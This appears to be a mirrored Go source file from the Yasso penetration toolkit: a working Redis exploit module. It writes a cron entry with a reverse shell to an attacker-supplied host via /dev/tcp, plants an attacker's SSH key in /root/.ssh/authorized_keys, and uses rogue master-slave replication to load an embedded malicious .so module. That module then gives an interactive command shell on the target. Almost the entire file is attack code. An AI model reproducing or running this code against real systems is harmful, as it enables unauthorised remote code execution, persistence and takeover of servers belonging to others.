1
0
mirror of https://github.com/sairson/Yasso.git synced 2026-02-06 20:14:09 +08:00
Files
Yasso/pkg/exploit/redis/redis.go

500 lines
12 KiB
Go

package redis
import (
config2 "Yasso/config"
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit/config"
"bufio"
"context"
_ "embed"
"errors"
"fmt"
"github.com/go-redis/redis/v8"
"io"
"net"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
)
//go:embed static/exp.so
var payload []byte
func ExploitRedis(exploits config.Exploits, method int, rebound, filename string, Listen string, soPath string) {
var conn net.Conn
var err error
var status bool
switch method {
case 1: // redis写定时计划
if exploits.Pass == "" {
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", "")
} else {
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, exploits.User, exploits.Pass)
}
if err != nil || status == false {
logger.Fatal("Redis auth has an error")
return
}
redisCron(conn, rebound)
case 2: // redis 写key
if exploits.Pass == "" {
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", "")
} else {
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
Hostname: exploits.Hostname,
Port: exploits.Port,
Timeout: 1 * time.Second,
}, "", exploits.Pass)
}
if err != nil || status == false {
logger.Fatal("Redis auth has an error")
return
}
redisKey(conn, filename)
case 3:
client := initRedisClient(exploits.Hostname, exploits.Port, exploits.Pass)
var lhost string
var lport int
if Listen != "" && len(strings.Split(Listen, ":")) == 2 {
lhost = strings.Split(Listen, ":")[0]
lport, err = strconv.Atoi(strings.Split(Listen, ":")[1])
}
soWrite(client, lhost, lport, soPath)
default:
logger.Fatal("not found redis exploit method")
return
}
}
func test(conn net.Conn) (cron bool, ssh bool, err error) {
var reply string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
if err != nil {
return false, false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, false, err
}
if strings.Contains(reply, "OK") {
ssh = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
if err != nil {
return false, ssh, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, ssh, err
}
if strings.Contains(reply, "OK") {
cron = true
}
return cron, ssh, nil
}
func redisCron(conn net.Conn, ReboundAddress string) bool {
c, _, err := test(conn)
if err != nil {
logger.Fatal("redis may be not write")
return false
}
if c {
status, err := cronWrite(conn, ReboundAddress)
if err != nil {
logger.Fatal("write rebound shell address failed")
return false
}
if status {
logger.Info("write rebound shell address success")
return true
} else {
logger.Fatal("write rebound shell address failed")
}
} else {
logger.Fatal("write rebound shell address failed")
}
return false
}
func redisKey(conn net.Conn, filename string) bool {
_, k, err := test(conn)
if err != nil {
logger.Fatal("redis may be not write")
return false
}
if k {
status, err := keyWrite(conn, filename)
if err != nil {
logger.Fatal("write public key into /root/.ssh/ failed")
return false
}
if status {
logger.Info("write public key into /root/.ssh/ success")
return true
} else {
logger.Fatal("write public key into /root/.ssh/ failed")
}
} else {
logger.Fatal("write public key into /root/.ssh/ failed")
}
return false
}
func cronWrite(conn net.Conn, ReboundAddress string) (bool, error) {
var (
remote = strings.Split(ReboundAddress, ":")
flag = false
reply string
host string
port string
)
if len(remote) == 2 {
host, port = remote[0], remote[1]
} else {
return false, errors.New("remote host address is not like 192.160.1.1:4444")
}
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
// 存在定时计划写入
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
// 数据库设置成功
if strings.Contains(reply, "+OK") {
// 写入定时计划任务
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("save corn success")
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("restore the original dbfilename")
}
}
}
return flag, nil
}
func keyWrite(conn net.Conn, filename string) (bool, error) {
var flag = false
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return false, err
}
reply, err := plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return false, err
}
reply, err := plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
key, err := readKeyFile(filename)
if err != nil {
return false, err
}
if len(key) == 0 {
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
// 保存
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = plugin.RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
logger.Info("Restore the original dbfilename")
}
}
}
return flag, nil
}
func readKeyFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func soWrite(client *redis.Client, lHost string, lPort int, soPath string) {
// 设置so文件存放路径
var dest string
if soPath == "" {
dest = "/tmp/net.so"
} else {
dest = soPath
}
rexec(fmt.Sprintf("slaveof %v %v", lHost, lPort), client)
logger.Info(fmt.Sprintf("slaveof %v %v", lHost, lPort))
dbfilename, dir := getInformation(client)
filenameDir, filename := filepath.Split(dest)
rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
// 做监听
listenLocal(fmt.Sprintf("%v:%v", lHost, lPort))
// 重置数据库
reStore(client, dir, dbfilename)
// 加载so文件
s := rexec(fmt.Sprintf("module load %v", dest), client)
if s == "need unload" {
logger.Info("try to unload")
rexec(fmt.Sprintf("module unload system"), client)
logger.Info("to the load")
rexec(fmt.Sprintf("module load %v", dest), client)
}
logger.Info("module load success")
// 循环执行命令
reader := bufio.NewReader(os.Stdin)
for {
var cmd string
fmt.Printf("[redis-rce]» ")
cmd, _ = reader.ReadString('\n')
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
if cmd == "exit" {
cmd = fmt.Sprintf("rm %v", dest)
run(fmt.Sprintf(cmd), client)
rexec(fmt.Sprintf("module unload system"), client)
logger.Info("module unload system break redis-rce")
break
}
receive(run(fmt.Sprintf(cmd), client))
}
os.Exit(0)
}
func initRedisClient(host string, port int, pass string) *redis.Client {
rdb := redis.NewClient(&redis.Options{
Addr: fmt.Sprintf("%v:%v", host, port),
Password: pass, // no password set
DB: 0, // use default DB
})
return rdb
}
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
defer wg.Done()
buf := make([]byte, 1024)
for {
time.Sleep(1 * time.Second)
n, err := c.Read(buf)
if err == io.EOF || n == 0 {
logger.Info("master-slave replication process is complete")
return
}
switch {
case strings.Contains(string(buf[:n]), "PING"):
_, _ = c.Write([]byte("+PONG\r\n"))
//Send("+PONG")
case strings.Contains(string(buf[:n]), "REPLCONF"):
_, _ = c.Write([]byte("+OK\r\n"))
//Send("+OK")
case strings.Contains(string(buf[:n]), "SYNC"):
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
rep := []byte(resp)
rep = append(rep, payload...)
rep = append(rep, []byte("\r\n")...)
_, _ = c.Write(rep)
//Send(resp)
}
}
}
func rexec(cmd string, client *redis.Client) string {
args := strings.Fields(cmd)
var argsInterface []interface{}
for _, arg := range args {
argsInterface = append(argsInterface, arg)
}
//Send(cmd)
val, err := client.Do(context.Background(), argsInterface...).Result()
return check(val, err)
}
func check(val interface{}, err error) string {
if err != nil {
if err == redis.Nil {
logger.Fatal("key is not exist")
return ""
}
logger.Fatal(fmt.Sprintf("%v", err.Error()))
if err.Error() == "error loading the extension. Please check the server logs." {
return "need unload"
}
os.Exit(0)
}
switch v := val.(type) {
case string:
return v
case []string:
return "list result:" + strings.Join(v, " ")
case []interface{}:
s := ""
for _, i := range v {
s += i.(string) + " "
}
return s
}
return ""
}
func run(cmd string, client *redis.Client) string {
ctx := context.Background()
val, err := client.Do(ctx, "system.exec", cmd).Result()
return check(val, err)
}
func receive(str string) {
str = strings.TrimSpace(str)
fmt.Println(fmt.Sprintf("%v", str))
}
func getInformation(client *redis.Client) (string, string) {
r := rexec("config get dbfilename", client)
if !strings.HasPrefix(r, "dbfilename") {
return "", ""
}
dbfilename := r[11 : len(r)-1]
d := rexec("config get dir", client)
if !strings.HasPrefix(d, "dir") {
return "", ""
}
dir := d[4 : len(d)-1]
return dbfilename, dir
}
func listenLocal(address string) {
var wg = &sync.WaitGroup{}
wg.Add(1)
addr, err := net.ResolveTCPAddr("tcp", address)
if err != nil {
logger.Fatal("resolve tcp address failed")
os.Exit(0)
}
listen, err := net.ListenTCP("tcp", addr)
if err != nil {
logger.Fatal("listen tcp address failed")
os.Exit(0)
}
defer func(listen *net.TCPListener) {
err := listen.Close()
if err != nil {
return
}
}(listen)
logger.Info(fmt.Sprintf("start listen in %v", address))
c, err := listen.AcceptTCP()
if err != nil {
logger.Fatal("accept tcp failed")
os.Exit(0)
}
go masterSlave(wg, c)
wg.Wait()
_ = c.Close()
}
func reStore(client *redis.Client, dir, dbfilename string) {
success := rexec("slaveof no one", client)
if strings.Contains(success, "OK") {
logger.Info("restore file success")
}
rexec(fmt.Sprintf("config set dir %v", dir), client)
rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
}